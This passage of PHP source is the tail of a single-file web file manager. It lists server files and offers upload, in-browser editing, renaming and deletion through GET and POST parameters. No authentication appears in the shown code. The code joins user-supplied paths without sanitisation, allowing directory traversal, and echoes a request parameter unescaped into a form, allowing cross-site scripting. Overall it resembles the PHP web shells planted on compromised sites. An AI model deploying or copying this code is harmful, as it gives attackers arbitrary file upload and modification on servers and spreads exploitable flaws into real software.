<a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
<td>
</tr>
";
}
foreach ($files as $file) {
echo " <tr>
<td>" . fileIcon($file) . $file . "</td>
<td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
<td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
<td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
<td>
<a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
<a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
<a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
<td>
</tr>
";
}
echo " </tbody>
</table>";
} else {
if (empty($_GET)) {
echo ("<script>window.location.replace('?p=');</script>");
}
}
if (isset($_GET['upload'])) {
echo '
<form method="post" enctype="multipart/form-data">
Select file to upload:
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" class="btn btn-dark" value="Upload" name="upload">
</form>';
}
if (isset($_GET['r'])) {
if (!empty($_GET['r']) && isset($_GET['q'])) {
echo '
<form method="post">
Rename:
<input type="text" name="name" value="' . $_GET['r'] . '">
<input type="submit" class="btn btn-dark" value="Rename" name="rename">
</form>';
if (isset($_POST['rename'])) {
$name = PATH . "/" . $_GET['r'];
if(rename($name, PATH . "/" . $_POST['name'])) {
echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
}
}
}
}
if (isset($_GET['e'])) {
if (!empty($_GET['e']) && isset($_GET['q'])) {
echo '
<form method="post">
<textarea style="height: 500px;
width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
<br>
<input type="submit" class="btn btn-dark" value="Save" name="edit">
</form>';
if(isset($_POST['edit'])) {
$filename = PATH."/".$_GET['e'];
$data = $_POST['data'];
$open = fopen($filename,"w");
if(fwrite($open,$data)) {
echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
}
fclose($open);
}
}
}
if (isset($_POST["upload"])) {
$target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
} else {
echo "<p>Sorry, there was an error uploading your file.</p>";
}
}
if (isset($_GET['d']) && isset($_GET['q'])) {
$name = PATH . "/" . $_GET['d'];
if (is_file($name)) {
if(unlink($name)) {
echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
}
} elseif (is_dir($name)) {
if(rmdir($name) == true) {
echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
}
}
}
?>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
crossorigin="anonymous"></script>
</body>
</html>